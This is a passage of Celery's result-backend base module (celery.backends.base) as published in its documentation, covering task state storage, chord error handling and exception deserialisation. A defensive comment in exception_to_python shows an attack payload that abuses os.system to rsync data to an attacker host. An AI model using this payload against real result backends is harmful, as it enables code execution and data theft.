This document describes the current stable version of Celery (5.6). For development docs, go here.

# Source code for celery.backends.base

    """Result backend base classes.

    - :class:`BaseBackend` defines the interface.

    - :class:`KeyValueStoreBackend` is a common base class
        using K/V semantics like _get and _put.
    """
    import sys
    import time
    import warnings
    from collections import namedtuple
    from datetime import timedelta
    from functools import partial
    from weakref import WeakValueDictionary

    from billiard.einfo import ExceptionInfo
    from kombu.serialization import dumps, loads, prepare_accept_content
    from kombu.serialization import registry as serializer_registry
    from kombu.utils.encoding import bytes_to_str, ensure_bytes
    from kombu.utils.url import maybe_sanitize_url

    import celery.exceptions
    from celery import current_app, group, maybe_signature, states
    from celery._state import get_current_task
    from celery.app.task import Context
    from celery.exceptions import (BackendGetMetaError, BackendStoreError, ChordError, ImproperlyConfigured,
                                   NotRegistered, SecurityError, TaskRevokedError, TimeoutError)
    from celery.result import GroupResult, ResultBase, ResultSet, allow_join_result, result_from_tuple
    from celery.utils.collections import BufferMap
    from celery.utils.functional import LRUCache, arity_greater
    from celery.utils.log import get_logger
    from celery.utils.serialization import (create_exception_cls, ensure_serializable, get_pickleable_exception,
                                            get_pickled_exception, raise_with_context)
    from celery.utils.time import get_exponential_backoff_interval

    __all__ = ('BaseBackend', 'KeyValueStoreBackend', 'DisabledBackend')

    EXCEPTION_ABLE_CODECS = frozenset({'pickle'})

    logger = get_logger(__name__)

    MESSAGE_BUFFER_MAX = 8192

    pending_results_t = namedtuple('pending_results_t', (
        'concrete', 'weak',
    ))

    E_NO_BACKEND = """
    No result backend is configured.
    Please see the documentation for more information.
    """

    E_CHORD_NO_BACKEND = """
    Starting chords requires a result backend to be configured.

    Note that a group chained with a task is also upgraded to be a chord,
    as this pattern requires synchronization.

    Result backends that supports chords: Redis, Database, Memcached, and more.
    """

    def unpickle_backend(cls, args, kwargs):
        """Return an unpickled backend."""
        return cls(*args, app=current_app._get_current_object(), **kwargs)

    def _create_chord_error_with_cause(message, original_exc=None) -> ChordError:
        """Create a ChordError preserving the original exception as __cause__.

        This helper reduces code duplication across the codebase when creating
        ChordError instances that need to preserve the original exception.
        """
        chord_error = ChordError(message)
        if isinstance(original_exc, Exception):
            chord_error.__cause__ = original_exc
        return chord_error

    def _create_fake_task_request(task_id, errbacks=None, task_name='unknown', **extra) -> Context:
        """Create a fake task request context for error callbacks.

        This helper reduces code duplication when creating fake request contexts
        for error callback handling.
        """
        return Context({
            "id": task_id,
            "errbacks": errbacks or [],
            "delivery_info": dict(),
            "task": task_name,
            **extra
        })

    class _nulldict(dict):
        def ignore(self, *a, **kw):
            pass

        __setitem__ = update = setdefault = ignore

    def _is_request_ignore_result(request):
        if request is None:
            return False
        return request.ignore_result

    class Backend:
        READY_STATES = states.READY_STATES
        UNREADY_STATES = states.UNREADY_STATES
        EXCEPTION_STATES = states.EXCEPTION_STATES

        TimeoutError = TimeoutError

        #: Time to sleep between polling each individual item
        #: in `ResultSet.iterate`. as opposed to the `interval`
        #: argument which is for each pass.
        subpolling_interval = None

        #: If true the backend must implement :meth:`get_many`.
        supports_native_join = False

        #: If true the backend must automatically expire results.
        #: The daily backend_cleanup periodic task won't be triggered
        #: in this case.
        supports_autoexpire = False

        #: Set to true if the backend is persistent by default.
        persistent = True

        retry_policy = {
            'max_retries': 20,
            'interval_start': 0,
            'interval_step': 1,
            'interval_max': 1,
        }

        def __init__(self, app,
                     serializer=None, max_cached_results=None, accept=None,
                     expires=None, expires_type=None, url=None, **kwargs):
            self.app = app
            conf = self.app.conf
            self.serializer = serializer or conf.result_serializer
            (self.content_type,
             self.content_encoding,
             self.encoder) = serializer_registry._encoders[self.serializer]
            cmax = max_cached_results or conf.result_cache_max
            self._cache = _nulldict() if cmax == -1 else LRUCache(limit=cmax)

            self.expires = self.prepare_expires(expires, expires_type)

            # precedence: accept, conf.result_accept_content, conf.accept_content
            self.accept = conf.result_accept_content if accept is None else accept
            self.accept = conf.accept_content if self.accept is None else self.accept
            self.accept = prepare_accept_content(self.accept)

            self.always_retry = conf.get('result_backend_always_retry', False)
            self.max_sleep_between_retries_ms = conf.get('result_backend_max_sleep_between_retries_ms', 10000)
            self.base_sleep_between_retries_ms = conf.get('result_backend_base_sleep_between_retries_ms', 10)
            self.max_retries = conf.get('result_backend_max_retries', float("inf"))
            self.thread_safe = conf.get('result_backend_thread_safe', False)

            self._pending_results = pending_results_t({}, WeakValueDictionary())
            self._pending_messages = BufferMap(MESSAGE_BUFFER_MAX)
            self.url = url

        def as_uri(self, include_password=False):
            """Return the backend as an URI, sanitizing the password or not."""
            # when using maybe_sanitize_url(), "/" is added
            # we're stripping it for consistency
            if include_password:
                return self.url
            url = maybe_sanitize_url(self.url or '')
            return url[:-1] if url.endswith(':///') else url

        def mark_as_started(self, task_id, **meta):
            """Mark a task as started."""
            return self.store_result(task_id, meta, states.STARTED)

        def mark_as_done(self, task_id, result,
                         request=None, store_result=True, state=states.SUCCESS):
            """Mark task as successfully executed."""
            if (store_result and not _is_request_ignore_result(request)):
                self.store_result(task_id, result, state, request=request)
            if request and request.chord:
                self.on_chord_part_return(request, state, result)

        def mark_as_failure(self, task_id, exc,
                            traceback=None, request=None,
                            store_result=True, call_errbacks=True,
                            state=states.FAILURE):
            """Mark task as executed with failure."""
            if store_result:
                self.store_result(task_id, exc, state,
                                  traceback=traceback, request=request)
            if request:
                # This task may be part of a chord
                if request.chord:
                    self.on_chord_part_return(request, state, exc)
                # It might also have chained tasks which need to be propagated to,
                # this is most likely to be exclusive with being a direct part of a
                # chord but we'll handle both cases separately.
                #
                # The `chain_data` try block here is a bit tortured since we might
                # have non-iterable objects here in tests and it's easier this way.
                try:
                    chain_data = iter(request.chain)
                except (AttributeError, TypeError):
                    chain_data = tuple()
                for chain_elem in chain_data:
                    # Reconstruct a `Context` object for the chained task which has
                    # enough information to for backends to work with
                    chain_elem_ctx = Context(chain_elem)
                    chain_elem_ctx.update(chain_elem_ctx.options)
                    chain_elem_ctx.id = chain_elem_ctx.options.get('task_id')
                    chain_elem_ctx.group = chain_elem_ctx.options.get('group_id')
                    # If the state should be propagated, we'll do so for all
                    # elements of the chain. This is only truly important so
                    # that the last chain element which controls completion of
                    # the chain itself is marked as completed to avoid stalls.
                    #
                    # Some chained elements may be complex signatures and have no
                    # task ID of their own, so we skip them hoping that not
                    # descending through them is OK. If the last chain element is
                    # complex, we assume it must have been uplifted to a chord by
                    # the canvas code and therefore the condition below will ensure
                    # that we mark something as being complete as avoid stalling.
                    if (
                        store_result and state in states.PROPAGATE_STATES and
                        chain_elem_ctx.task_id is not None
                    ):
                        self.store_result(
                            chain_elem_ctx.task_id, exc, state,
                            traceback=traceback, request=chain_elem_ctx,
                        )
                    # If the chain element is a member of a chord, we also need
                    # to call `on_chord_part_return()` as well to avoid stalls.
                    if 'chord' in chain_elem_ctx.options:
                        self.on_chord_part_return(chain_elem_ctx, state, exc)
                # And finally we'll fire any errbacks
                if call_errbacks and request.errbacks:
                    self._call_task_errbacks(request, exc, traceback)

        def _call_task_errbacks(self, request, exc, traceback):
            old_signature = []
            for errback in request.errbacks:
                errback = self.app.signature(errback)
                if not errback._app:
                    # Ensure all signatures have an application
                    errback._app = self.app
                try:
                    if (
                            # Celery tasks type created with the @task decorator have
                            # the __header__ property, but Celery task created from
                            # Task class do not have this property.
                            # That's why we have to check if this property exists
                            # before checking is it partial function.
                            hasattr(errback.type, '__header__') and

                            # workaround to support tasks with bind=True executed as
                            # link errors. Otherwise, retries can't be used
                            not isinstance(errback.type.__header__, partial) and
                            arity_greater(errback.type.__header__, 1)
                    ):
                        errback(request, exc, traceback)
                    else:
                        old_signature.append(errback)
                except NotRegistered:
                    # Task may not be present in this worker.
                    # We simply send it forward for another worker to consume.
                    # If the task is not registered there, the worker will raise
                    # NotRegistered.
                    old_signature.append(errback)

            if old_signature:
                # Previously errback was called as a task so we still
                # need to do so if the errback only takes a single task_id arg.
                task_id = request.id
                root_id = request.root_id or task_id
                g = group(old_signature, app=self.app)
                if self.app.conf.task_always_eager or request.delivery_info.get('is_eager', False):
                    g.apply(
                        (task_id,), parent_id=task_id, root_id=root_id
                    )
                else:
                    g.apply_async(
                        (task_id,), parent_id=task_id, root_id=root_id
                    )

        def mark_as_revoked(self, task_id, reason='',
                            request=None, store_result=True, state=states.REVOKED):
            exc = TaskRevokedError(reason)
            if store_result:
                self.store_result(task_id, exc, state,
                                  traceback=None, request=request)
            if request and request.chord:
                self.on_chord_part_return(request, state, exc)

        def mark_as_retry(self, task_id, exc, traceback=None,
                          request=None, store_result=True, state=states.RETRY):
            """Mark task as being retries.

            Note:
                Stores the current exception (if any).
            """
            return self.store_result(task_id, exc, state,
                                     traceback=traceback, request=request)

        def chord_error_from_stack(self, callback, exc=None):
            app = self.app

            try:
                backend = app._tasks[callback.task].backend
            except KeyError:
                backend = self

            # Handle group callbacks specially to prevent hanging body tasks
            if isinstance(callback, group):
                return self._handle_group_chord_error(group_callback=callback, backend=backend, exc=exc)
            # We have to make a fake request since either the callback failed or
            # we're pretending it did since we don't have information about the
            # chord part(s) which failed. This request is constructed as a best
            # effort for new style errbacks and may be slightly misleading about
            # what really went wrong, but at least we call them!
            fake_request = _create_fake_task_request(
                task_id=callback.options.get("task_id"),
                errbacks=callback.options.get("link_error", []),
                **callback
            )
            try:
                self._call_task_errbacks(fake_request, exc, None)
            except Exception as eb_exc:  # pylint: disable=broad-except
                return backend.fail_from_current_stack(callback.id, exc=eb_exc)
            else:
                return backend.fail_from_current_stack(callback.id, exc=exc)

        def _handle_group_chord_error(self, group_callback, backend, exc=None):
            """Handle chord errors when the callback is a group.

            When a chord header fails and the body is a group, we need to:
            1. Revoke all pending tasks in the group body
            2. Mark them as failed with the chord error
            3. Call error callbacks for each task

            This prevents the group body tasks from hanging indefinitely (#8786)
            """

            # Extract original exception from ChordError if available
            if isinstance(exc, ChordError) and hasattr(exc, '__cause__') and exc.__cause__:
                original_exc = exc.__cause__
            else:
                original_exc = exc

            try:
                # Freeze the group to get the actual GroupResult with task IDs
                frozen_group = group_callback.freeze()

                if isinstance(frozen_group, GroupResult):
                    # revoke all tasks in the group to prevent execution
                    frozen_group.revoke()

                    # Handle each task in the group individually
                    for result in frozen_group.results:
                        try:
                            # Create fake request for error callbacks
                            fake_request = _create_fake_task_request(
                                task_id=result.id,
                                errbacks=group_callback.options.get("link_error", []),
                                task_name=getattr(result, 'task', 'unknown')
                            )

                            # Call error callbacks for this task with original exception
                            try:
                                backend._call_task_errbacks(fake_request, original_exc, None)
                            except Exception:  # pylint: disable=broad-except
                                # continue on exception to be sure to iter to all the group tasks
                                pass

                            # Mark the individual task as failed with original exception
                            backend.fail_from_current_stack(result.id, exc=original_exc)

                        except Exception as task_exc:  # pylint: disable=broad-except
                            # Log error but continue with other tasks
                            logger.exception(
                                'Failed to handle chord error for task %s: %r',
                                getattr(result, 'id', 'unknown'), task_exc
                            )

                    # Also mark the group itself as failed if it has an ID
                    frozen_group_id = getattr(frozen_group, 'id', None)
                    if frozen_group_id:
                        backend.mark_as_failure(frozen_group_id, original_exc)

                return None

            except Exception as cleanup_exc:  # pylint: disable=broad-except
                # Log the error and fall back to single task handling
                logger.exception(
                    'Failed to handle group chord error, falling back to single task handling: %r',
                    cleanup_exc
                )
                # Fallback to original error handling
                return backend.fail_from_current_stack(group_callback.id, exc=exc)

        def fail_from_current_stack(self, task_id, exc=None):
            type_, real_exc, tb = sys.exc_info()
            try:
                exc = real_exc if exc is None else exc
                exception_info = ExceptionInfo((type_, exc, tb))
                self.mark_as_failure(task_id, exc, exception_info.traceback)
                return exception_info
            finally:
                while tb is not None:
                    try:
                        tb.tb_frame.clear()
                        tb.tb_frame.f_locals
                    except RuntimeError:
                        # Ignore the exception raised if the frame is still executing.
                        pass
                    tb = tb.tb_next

                del tb

        def prepare_exception(self, exc, serializer=None):
            """Prepare exception for serialization."""
            serializer = self.serializer if serializer is None else serializer
            if serializer in EXCEPTION_ABLE_CODECS:
                return get_pickleable_exception(exc)
            exctype = type(exc)
            return {'exc_type': getattr(exctype, '__qualname__', exctype.__name__),
                    'exc_message': ensure_serializable(exc.args, self.encode),
                    'exc_module': exctype.__module__}

        def exception_to_python(self, exc):
            """Convert serialized exception to Python exception."""
            if not exc:
                return None
            elif isinstance(exc, BaseException):
                if self.serializer in EXCEPTION_ABLE_CODECS:
                    exc = get_pickled_exception(exc)
                return exc
            elif not isinstance(exc, dict):
                try:
                    exc = dict(exc)
                except TypeError as e:
                    raise TypeError(f"If the stored exception isn't an "
                                    f"instance of "
                                    f"BaseException, it must be a dictionary.\n"
                                    f"Instead got: {exc}") from e

            exc_module = exc.get('exc_module')
            try:
                exc_type = exc['exc_type']
            except KeyError as e:
                raise ValueError("Exception information must include "
                                 "the exception type") from e
            if exc_module is None:
                cls = create_exception_cls(
                    exc_type, __name__)
            else:
                try:
                    # Load module and find exception class in that
                    cls = sys.modules[exc_module]
                    # The type can contain qualified name with parent classes
                    for name in exc_type.split('.'):
                        cls = getattr(cls, name)
                except (KeyError, AttributeError):
                    cls = create_exception_cls(exc_type,
                                               celery.exceptions.__name__)
            exc_msg = exc.get('exc_message', '')

            # If the recreated exception type isn't indeed an exception,
            # this is a security issue. Without the condition below, an attacker
            # could exploit a stored command vulnerability to execute arbitrary
            # python code such as:
            # os.system("rsync /data attacker@192.168.56.100:~/data")
            # The attacker sets the task's result to a failure in the result
            # backend with the os as the module, the system function as the
            # exception type and the payload
            # rsync /data attacker@192.168.56.100:~/data
            # as the exception arguments like so:
            # {
            #   "exc_module": "os",
            #   "exc_type": "system",
            #   "exc_message": "rsync /data attacker@192.168.56.100:~/data"
            # }
            if not isinstance(cls, type) or not issubclass(cls, BaseException):
                fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'
                raise SecurityError(
                    f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}")

            # XXX: Without verifying `cls` is actually an exception class,
            #      an attacker could execute arbitrary python code.
            #      cls could be anything, even eval().
            try:
                if isinstance(exc_msg, (tuple, list)):
                    exc = cls(*exc_msg)
                else:
                    exc = cls(exc_msg)
            except Exception as err:  # noqa
                exc = Exception(f'{cls}({exc_msg})')

            return exc

        def prepare_value(self, result):
            """Prepare value for storage."""
            if self.serializer != 'pickle' and isinstance(result, ResultBase):
                return result.as_tuple()
            return result

        def encode(self, data):
            _, _, payload = self._encode(data)
            return payload

        def _encode(self, data):
            return dumps(data, serializer=self.serializer)

        def meta_from_decoded(self, meta):
            if meta['status'] in self.EXCEPTION_STATES:
                meta['result'] = self.exception_to_python(meta['result'])
            return meta

        def decode_result(self, payload):
            return self.meta_from_decoded(self.decode(payload))

        def decode(self, payload):
            if payload is None:
                return payload
            payload = payload or str(payload)
            return loads(payload,
                         content_type=self.content_type,
                         content_encoding=self.content_encoding,
                         accept=self.accept)

        def prepare_expires(self, value, type=None):
            if value is None:
                value = self.app.conf.result_expires
            if isinstance(value, timedelta):
                value = value.total_seconds()
            if value is not None and type:
                return type(value)
            return value

        def prepare_persistent(self, enabled=None):
            if enabled is not None:
                return enabled
            persistent = self.app.conf.result_persistent
            return self.persistent if persistent is None else persistent

        def encode_result(self, result, state):
            if state in self.EXCEPTION_STATES and isinstance(result, Exception):
                return self.prepare_exception(result)
            return self.prepare_value(result)

        def is_cached(self, task_id):
            return task_id in self._cache

        def _get_result_meta(self, result,
                             state, traceback, request, format_date=True,
                             encode=False):
            if state in self.READY_STATES:
                date_done = self.app.now()
                if format_date:
                    date_done = date_done.isoformat()
            else:
                date_done = None

            meta = {
                'status': state,
                'result': result,
                'traceback': traceback,
                'children': self.current_task_children(request),
                'date_done': date_done,
            }

            if request and getattr(request, 'group', None):
                meta['group_id'] = request.group
            if request and getattr(request, 'parent_id', None):
                meta['parent_id'] = request.parent_id

            if self.app.conf.find_value_for_key('extended', 'result'):
                if request:
                    request_meta = {
                        'name': getattr(request, 'task', None),
                        'args': getattr(request, 'args', None),
                        'kwargs': getattr(request, 'kwargs', None),
                        'worker': getattr(request, 'hostname', None),
                        'retries': getattr(request, 'retries', None),
                        'queue': request.delivery_info.get('routing_key')
                        if hasattr(request, 'delivery_info') and
                        request.delivery_info else None,
                    }
                    if getattr(request, 'stamps', None):
                        request_meta['stamped_headers'] = request.stamped_headers
                        request_meta.update(request.stamps)

                    if encode:
                        # args and kwargs need to be encoded properly before saving
                        encode_needed_fields = {"args", "kwargs"}
                        for field in encode_needed_fields:
                            value = request_meta[field]
                            encoded_value = self.encode(value)
                            request_meta[field] = ensure_bytes(encoded_value)

                    meta.update(request_meta)

            return meta

        def _sleep(self, amount):
            time.sleep(amount)

        def store_result(self, task_id, result, state,
                         traceback=None, request=None, **kwargs):
            """Update task state and result.

            if always_retry_backend_operation is activated, in the event of a recoverable exception,
            then retry operation with an exponential backoff until a limit has been reached.
            """
            result = self.encode_result(result, state)

            retries = 0

            while True:
                try:
                    self._store_result(task_id, result, state, traceback,
                                       request=request, **kwargs)
                    return result
                except Exception as exc:
                    if self.always_retry and self.exception_safe_to_retry(exc):
                        if retries < self.max_retries:
                            retries += 1

                            # get_exponential_backoff_interval computes integers
                            # and time.sleep accept floats for sub second sleep
                            sleep_amount = get_exponential_backoff_interval(
                                self.base_sleep_between_retries_ms, retries,
                                self.max_sleep_between_retries_ms, True) / 1000
                            self._sleep(sleep_amount)
                        else:
                            raise_with_context(
                                BackendStoreError("failed to store result on the backend", task_id=task_id, state=state),
                            )
                    else:
                        raise

        def forget(self, task_id):
            self._cache.pop(task_id, None)
            self._forget(task_id)

        def _forget(self, task_id):
            raise NotImplementedError('backend does not implement forget.')

        def get_state(self, task_id):
            """Get the state of a task."""
            return self.get_task_meta(task_id)['status']

        get_status = get_state  # XXX compat

        def get_traceback(self, task_id):
            """Get the traceback for a failed task."""
            return self.get_task_meta(task_id).get('traceback')

        def get_result(self, task_id):
            """Get the result of a task."""
            return self.get_task_meta(task_id).get('result')

        def get_children(self, task_id):
            """Get the list of subtasks sent by a task."""
            try:
                return self.get_task_meta(task_id)['children']
            except KeyError:
                pass

        def _ensure_not_eager(self):
            if self.app.conf.task_always_eager and not self.app.conf.task_store_eager_result:
                warnings.warn(
                    "Results are not stored in backend and should not be retrieved when "
                    "task_always_eager is enabled, unless task_store_eager_result is enabled.",
                    RuntimeWarning
                )

        def exception_safe_to_retry(self, exc):
            """Check if an exception is safe to retry.

            Backends have to overload this method with correct predicates dealing with their exceptions.

            By default no exception is safe to retry, it's up to backend implementation
            to define which exceptions are safe.
            """
            return False

        def get_task_meta(self, task_id, cache=True):
            """Get task meta from backend.

            if always_retry_backend_operation is activated, in the event of a recoverable exception,
            then retry operation with an exponential backoff until a limit has been reached.
            """
            self._ensure_not_eager()
            if cache:
                try:
                    return self._cache[task_id]
                except KeyError:
                    pass
            retries = 0
            while True:
                try:
                    meta = self._get_task_meta_for(task_id)
                    break
                except Exception as exc:
                    if self.always_retry and self.exception_safe_to_retry(exc):
                        if retries < self.max_retries:
                            retries += 1

                            # get_exponential_backoff_interval computes integers
                            # and time.sleep accept floats for sub second sleep
                            sleep_amount = get_exponential_backoff_interval(
                                self.base_sleep_between_retries_ms, retries,
                                self.max_sleep_between_retries_ms, True) / 1000
                            self._sleep(sleep_amount)
                        else:
                            raise_with_context(
                                BackendGetMetaError("failed to get meta", task_id=task_id),
                            )
                    else:
                        raise

            if cache and meta.get('status') == states.SUCCESS:
                self._cache[task_id] = meta
            return meta

        def reload_task_result(self, task_id):
            """Reload task result, even if it has been previously fetched."""
            self._cache[task_id] = self.get_task_meta(task_id, cache=False)

        def reload_group_result(self, group_id):
            """Reload group result, even if it has been previously fetched."""
            self._cache[group_id] = self.get_group_meta(group_id, cache=False)

        def get_group_meta(self, group_id, cache=True):
            self._ensure_not_eager()
            if cache:
                try:
                    return self._cache[group_id]
                except KeyError:
                    pass

            meta = self._restore_group(group_id)
            if cache and meta is not None:
                self._cache[group_id] = meta
            return meta

        def restore_group(self, group_id, cache=True):
            """Get the result for a group."""
            meta = self.get_group_meta(group_id, cache=cache)
            if meta:
                return meta['result']

        def save_group(self, group_id, result):
            """Store the result of an executed group."""
            return self._save_group(group_id, result)

        def delete_group(self, group_id):
            self._cache.pop(group_id, None)
            return self._delete_group(group_id)

        def cleanup(self):
            """Backend cleanup."""

        def process_cleanup(self):
            """Cleanup actions to do at the end of a task worker process."""

        def on_task_call(self, producer, task_id):
            return {}

        def add_to_chord(self, chord_id, result):
            raise NotImplementedError('Backend does not support add_to_chord')

        def on_chord_part_return(self, request, state, result, **kwargs):
            pass

        def set_chord_size(self, group_id, chord_size):
            pass

        def fallback_chord_unlock(self, header_result, body, countdown=1,
                                  **kwargs):
            kwargs['result'] = [r.as_tuple() for r in header_result]
            try:
                body_type = getattr(body, 'type', None)
            except NotRegistered:
                body_type = None

            queue = body.options.get('queue', getattr(body_type, 'queue', None))

            if queue is None:
                # fallback to default routing if queue name was not
                # explicitly passed to body callback
                queue = self.app.amqp.router.route(kwargs, body.name)['queue'].name

            priority = body.options.get('priority', getattr(body_type, 'priority', 0))
            self.app.tasks['celery.chord_unlock'].apply_async(
                (header_result.id, body,), kwargs,
                countdown=countdown,
                queue=queue,
                priority=priority,
            )

        def ensure_chords_allowed(self):
            pass

        def apply_chord(self, header_result_args, body, **kwargs):
            self.ensure_chords_allowed()
            header_result = self.app.GroupResult(*header_result_args)
            self.fallback_chord_unlock(header_result, body, **kwargs)

        def current_task_children(self, request=None):
            request = request or getattr(get_current_task(), 'request', None)
            if request:
                return [r.as_tuple() for r in getattr(request, 'children', [])]

        def __reduce__(self, args=(), kwargs=None):
            kwargs = {} if not kwargs else kwargs
            return (unpickle_backend, (self.__class__, args, kwargs))

    class SyncBackendMixin:
        def iter_native(self, result, timeout=None, interval=0.5, no_ack=True,
                        on_message=None, on_interval=None):
            self._ensure_not_eager()
            results = result.results
            if not results:
                return

            task_ids = set()
            for result in results:
                if isinstance(result, ResultSet):
                    yield result.id, result.results
                else:
                    task_ids.add(result.id)

            yield from self.get_many(
                task_ids,
                timeout=timeout, interval=interval, no_ack=no_ack,
                on_message=on_message, on_interval=on_interval,
            )

        def wait_for_pending(self, result, timeout=None, interval=0.5,
                             no_ack=True, on_message=None, on_interval=None,
                             callback=None, propagate=True):
            self._ensure_not_eager()
            if on_message is not None:
                raise ImproperlyConfigured(
                    'Backend does not support on_message callback')

            meta = self.wait_for(
                result.id, timeout=timeout,
                interval=interval,
                on_interval=on_interval,
                no_ack=no_ack,
            )
            if meta:
                result._maybe_set_cache(meta)
                return result.maybe_throw(propagate=propagate, callback=callback)

        def wait_for(self, task_id,
                     timeout=None, interval=0.5, no_ack=True, on_interval=None):
            """Wait for task and return its result.

            If the task raises an exception, this exception
            will be re-raised by :func:`wait_for`.

            Raises:
                celery.exceptions.TimeoutError:
                    If `timeout` is not :const:`None`, and the operation
                    takes longer than `timeout` seconds.
            """
            self._ensure_not_eager()

            time_elapsed = 0.0

            while 1:
                meta = self.get_task_meta(task_id)
                if meta['status'] in states.READY_STATES:
                    return meta
                if on_interval:
                    on_interval()
                # avoid hammering the CPU checking status.
                time.sleep(interval)
                time_elapsed += interval
                if timeout and time_elapsed >= timeout:
                    raise TimeoutError('The operation timed out.')

        def add_pending_result(self, result, weak=False):
            return result

        def remove_pending_result(self, result):
            return result

        @property
        def is_async(self):
            return False

    class BaseBackend(Backend, SyncBackendMixin):
        """Base (synchronous) result backend."""

    BaseDictBackend = BaseBackend  # XXX compat

    class BaseKeyValueStoreBackend(Backend):
        key_t = ensure_bytes
        task_keyprefix = 'celery-task-meta-'
        group_keyprefix = 'celery-taskset-meta-'
        chord_keyprefix = 'chord-unlock-'
        implements_incr = False

        def __init__(self, *args, **kwargs):
            if hasattr(self.key_t, '__func__'):  # pragma: no cover
                self.key_t = self.key_t.__func__  # remove binding
            super().__init__(*args, **kwargs)
            self._add_global_keyprefix()
            self._encode_prefixes()
            if self.implements_incr:
                self.apply_chord = self._apply_chord_incr

        def _add_global_keyprefix(self):
            """
            This method prepends the global keyprefix to the existing keyprefixes.

            This method checks if a global keyprefix is configured in `result_backend_transport_options` using the
            `global_keyprefix` key. If so, then it is prepended to the task, group and chord key prefixes.
            """
            global_keyprefix = self.app.conf.get('result_backend_transport_options', {}).get("global_keyprefix", None)
            if global_keyprefix:
                if global_keyprefix[-1] not in ':_-.':
                    global_keyprefix += '_'
                self.task_keyprefix = f"{global_keyprefix}{self.task_keyprefix}"
                self.group_keyprefix = f"{global_keyprefix}{self.group_keyprefix}"
                self.chord_keyprefix = f"{global_keyprefix}{self.chord_keyprefix}"

        def _encode_prefixes(self):
            self.task_keyprefix = self.key_t(self.task_keyprefix)
            self.group_keyprefix = self.key_t(self.group_keyprefix)
            self.chord_keyprefix = self.key_t(self.chord_keyprefix)

        def get(self, key):
            raise NotImplementedError('Must implement the get method.')

        def mget(self, keys):
            raise NotImplementedError('Does not support get_many')

        def _set_with_state(self, key, value, state):
            return self.set(key, value)

        def set(self, key, value):
            raise NotImplementedError('Must implement the set method.')

        def delete(self, key):
            raise NotImplementedError('Must implement the delete method')

        def incr(self, key):
            raise NotImplementedError('Does not implement incr')

        def expire(self, key, value):
            pass

        def get_key_for_task(self, task_id, key=''):
            """Get the cache key for a task by id."""
            if not task_id:
                raise ValueError(f'task_id must not be empty. Got {task_id} instead.')
            return self._get_key_for(self.task_keyprefix, task_id, key)

        def get_key_for_group(self, group_id, key=''):
            """Get the cache key for a group by id."""
            if not group_id:
                raise ValueError(f'group_id must not be empty. Got {group_id} instead.')
            return self._get_key_for(self.group_keyprefix, group_id, key)

        def get_key_for_chord(self, group_id, key=''):
            """Get the cache key for the chord waiting on group with given id."""
            if not group_id:
                raise ValueError(f'group_id must not be empty. Got {group_id} instead.')
            return self._get_key_for(self.chord_keyprefix, group_id, key)

        def _get_key_for(self, prefix, id, key=''):
            key_t = self.key_t

            return key_t('').join([
                prefix, key_t(id), key_t(key),
            ])

        def _strip_prefix(self, key):
            """Take bytes: emit string."""
            key = self.key_t(key)
            for prefix in self.task_keyprefix, self.group_keyprefix:
                if key.startswith(prefix):
                    return bytes_to_str(key[len(prefix):])
            return bytes_to_str(key)

        def _filter_ready(self, values, READY_STATES=states.READY_STATES):
            for k, value in values:
                if value is not None:
                    value = self.decode_result(value)
                    if value['status'] in READY_STATES:
                        yield k, value

        def _mget_to_results(self, values, keys, READY_STATES=states.READY_STATES):
            if hasattr(values, 'items'):
                # client returns dict so mapping preserved.
                return {
                    self._strip_prefix(k): v
                    for k, v in self._filter_ready(values.items(), READY_STATES)
                }
            else:
                # client returns list so need to recreate mapping.
                return {
                    bytes_to_str(keys[i]): v
                    for i, v in self._filter_ready(enumerate(values), READY_STATES)
                }

        def get_many(self, task_ids, timeout=None, interval=0.5, no_ack=True,
                     on_message=None, on_interval=None, max_iterations=None,
                     READY_STATES=states.READY_STATES):
            interval = 0.5 if interval is None else interval
            ids = task_ids if isinstance(task_ids, set) else set(task_ids)
            cached_ids = set()
            cache = self._cache
            for task_id in ids:
                try:
                    cached = cache[task_id]
                except KeyError:
                    pass
                else:
                    if cached['status'] in READY_STATES:
                        yield bytes_to_str(task_id), cached
                        cached_ids.add(task_id)

            ids.difference_update(cached_ids)
            iterations = 0
            while ids:
                keys = list(ids)
                r = self._mget_to_results(self.mget([self.get_key_for_task(k)
                                                     for k in keys]), keys, READY_STATES)
                cache.update(r)
                ids.difference_update({bytes_to_str(v) for v in r})
                for key, value in r.items():
                    if on_message is not None:
                        on_message(value)
                    yield bytes_to_str(key), value
                if timeout and iterations * interval >= timeout:
                    raise TimeoutError(f'Operation timed out ({timeout})')
                if on_interval:
                    on_interval()
                time.sleep(interval)  # don't busy loop.
                iterations += 1
                if max_iterations and iterations >= max_iterations:
                    break

        def _forget(self, task_id):
            self.delete(self.get_key_for_task(task_id))

        def _store_result(self, task_id, result, state,
                          traceback=None, request=None, **kwargs):
            meta = self._get_result_meta(result=result, state=state,
                                         traceback=traceback, request=request)
            meta['task_id'] = bytes_to_str(task_id)

            # Retrieve metadata from the backend, if the status
            # is a success then we ignore any following update to the state.
            # This solves a task deduplication issue because of network
            # partitioning or lost workers. This issue involved a race condition
            # making a lost task overwrite the last successful result in the
            # result backend.
            current_meta = self._get_task_meta_for(task_id)

            if current_meta['status'] == states.SUCCESS:
                return result

            try:
                self._set_with_state(self.get_key_for_task(task_id), self.encode(meta), state)
            except BackendStoreError as ex:
                raise BackendStoreError(str(ex), state=state, task_id=task_id) from ex

            return result

        def _save_group(self, group_id, result):
            self._set_with_state(self.get_key_for_group(group_id),
                                 self.encode({'result': result.as_tuple()}), states.SUCCESS)
            return result

        def _delete_group(self, group_id):
            self.delete(self.get_key_for_group(group_id))

        def _get_task_meta_for(self, task_id):
            """Get task meta-data for a task by id."""
            meta = self.get(self.get_key_for_task(task_id))
            if not meta:
                return {'status': states.PENDING, 'result': None}
            return self.decode_result(meta)

        def _restore_group(self, group_id):
            """Get task meta-data for a task by id."""
            meta = self.get(self.get_key_for_group(group_id))
            # previously this was always pickled, but later this
            # was extended to support other serializers, so the
            # structure is kind of weird.
            if meta:
                meta = self.decode(meta)
                result = meta['result']
                meta['result'] = result_from_tuple(result, self.app)
                return meta

        def _apply_chord_incr(self, header_result_args, body, **kwargs):
            self.ensure_chords_allowed()
            header_result = self.app.GroupResult(*header_result_args)
            header_result.save(backend=self)

        def on_chord_part_return(self, request, state, result, **kwargs):
            if not self.implements_incr:
                return
            app = self.app
            gid = request.group
            if not gid:
                return
            key = self.get_key_for_chord(gid)
            try:
                deps = GroupResult.restore(gid, backend=self)
            except Exception as exc:  # pylint: disable=broad-except
                callback = maybe_signature(request.chord, app=app)
                logger.exception('Chord %r raised: %r', gid, exc)
                return self.chord_error_from_stack(
                    callback,
